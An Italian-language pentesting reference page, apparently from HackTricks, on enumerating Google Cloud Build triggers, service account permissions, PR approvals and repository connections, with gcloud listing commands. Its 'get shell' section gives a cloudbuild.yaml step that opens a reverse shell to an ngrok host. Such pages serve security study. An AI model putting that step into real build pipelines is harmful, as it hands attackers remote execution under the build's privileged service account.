# GCP - Cloud Build Enum

{{#include ../../../banners/hacktricks-training.md}}

## Informazioni di base

Google Cloud Build è una piattaforma CI/CD gestita che **automazione il processo di build** e rilascio del software, integrandosi con **repository di codice sorgente** e supportando un'ampia gamma di linguaggi di programmazione. **Permette agli sviluppatori di costruire, testare e distribuire codice automaticamente** fornendo flessibilità per personalizzare i passaggi di build e i flussi di lavoro.

Ogni Trigger di Cloud Build è **relazionato a un Cloud Repository o direttamente connesso a un repository esterno** (Github, Bitbucket e Gitlab).

> [!TIP]
> Non ho trovato alcun modo per rubare il token di Github/Bitbucket da qui o dai Cloud Repositories perché quando il repo viene scaricato viene accesso tramite un URL [https://source.cloud.google.com/](https://source.cloud.google.com/) e Github non è accessibile dal client.

### Eventi

Il Cloud Build può essere attivato se:

- **Push su un branch**: Specificare il branch
- **Push di un nuovo tag**: Specificare il tag
- **Pull request**: Specificare il branch che riceve il PR
- **Invocazione manuale**
- **Messaggio Pub/Sub:** Specificare l'argomento
- **Evento Webhook**: Esporrà un URL HTTPS e la richiesta deve essere autenticata con un segreto

### Esecuzione

Ci sono 3 opzioni:

- Un yaml/json **che specifica i comandi** da eseguire. Di solito: `/cloudbuild.yaml`
- Solo uno che può essere specificato “inline” nella console web e nella cli
- Opzione più comune
- Rilevante per accesso non autenticato
- Un **Dockerfile** da costruire
- Un **Buildpack** da costruire

### Permessi SA

Il **Service Account ha l'ambito `cloud-platform`**, quindi può **utilizzare tutti i privilegi.** Se **nessun SA è specificato** (come quando si fa submit) il **SA predefinito** `<proj-number>@cloudbuild.gserviceaccount.com` sarà **utilizzato.**

Per impostazione predefinita, non vengono concessi permessi, ma è abbastanza facile concederne alcuni:

<figure><img src="../../../images/image (16).png" alt=""><figcaption></figcaption></figure>

### Approvazioni

È possibile configurare un Cloud Build per **richiedere approvazioni per le esecuzioni di build** (disabilitato per impostazione predefinita).

### Approvazioni PR

Quando il trigger è PR perché **chiunque può eseguire PR su repository pubblici** sarebbe molto pericoloso **consentire l'esecuzione del trigger con qualsiasi PR**. Pertanto, per impostazione predefinita, l'esecuzione sarà **automatica solo per i proprietari e i collaboratori**, e per eseguire il trigger con PR di altri utenti un proprietario o collaboratore deve commentare `/gcbrun`.

<figure><img src="../../../images/image (339).png" alt="" width="563"><figcaption></figcaption></figure>

### Connessioni e Repository

Le connessioni possono essere create su:

- **GitHub:** Mostrerà un prompt OAuth che chiede permessi per **ottenere un token Github** che sarà memorizzato all'interno del **Secret Manager.**
- **GitHub Enterprise:** Chiederà di installare un **GithubApp**. Un **token di autenticazione** dal tuo host GitHub Enterprise sarà creato e memorizzato in questo progetto come un segreto del **Secret Manager**.
- **GitLab / Enterprise:** Devi **fornire il token di accesso API e il token di accesso API in lettura** che sarà memorizzato nel **Secret Manager.**

Una volta generata una connessione, puoi usarla per **collegare i repository a cui l'account Github ha accesso**.

Questa opzione è disponibile tramite il pulsante:

<figure><img src="../../../images/image (17).png" alt=""><figcaption></figcaption></figure>

> [!TIP]
> Nota che i repository connessi con questo metodo sono **disponibili solo nei Trigger che utilizzano la 2a generazione.**

### Collega un Repository

Questo non è lo stesso di una **`connessione`**. Questo consente **diversi** modi per ottenere **accesso a un repository Github o Bitbucket** ma **non genera un oggetto di connessione, ma genera un oggetto repository (di 1a generazione).**

Questa opzione è disponibile tramite il pulsante:

<figure><img src="../../../images/image (18).png" alt=""><figcaption></figcaption></figure>

### Archiviazione

A volte Cloud Build **genera un nuovo storage per memorizzare i file per il trigger**. Questo accade ad esempio nell'esempio che GCP offre con:
```bash
git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global
```
Un bucket di archiviazione chiamato [security-devbox_cloudbuild](https://console.cloud.google.com/storage/browser/security-devbox_cloudbuild;tab=objects?forceOnBucketsSortingFiltering=false&project=security-devbox) è stato creato per memorizzare un `.tgz` con i file da utilizzare.

### Ottieni shell
```yaml
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY
```
Installa gcloud all'interno di cloud build:
```bash
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh
```
### Enumerazione

Potresti trovare **informazioni sensibili nelle configurazioni di build e nei log**.
```bash
# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done
```
### Escalation dei privilegi

{{#ref}}
../gcp-privilege-escalation/gcp-cloudbuild-privesc.md
{{#endref}}

### Accesso non autenticato

{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md
{{#endref}}

### Post Sfruttamento

{{#ref}}
../gcp-post-exploitation/gcp-cloud-build-post-exploitation.md
{{#endref}}

{{#include ../../../banners/hacktricks-training.md}}
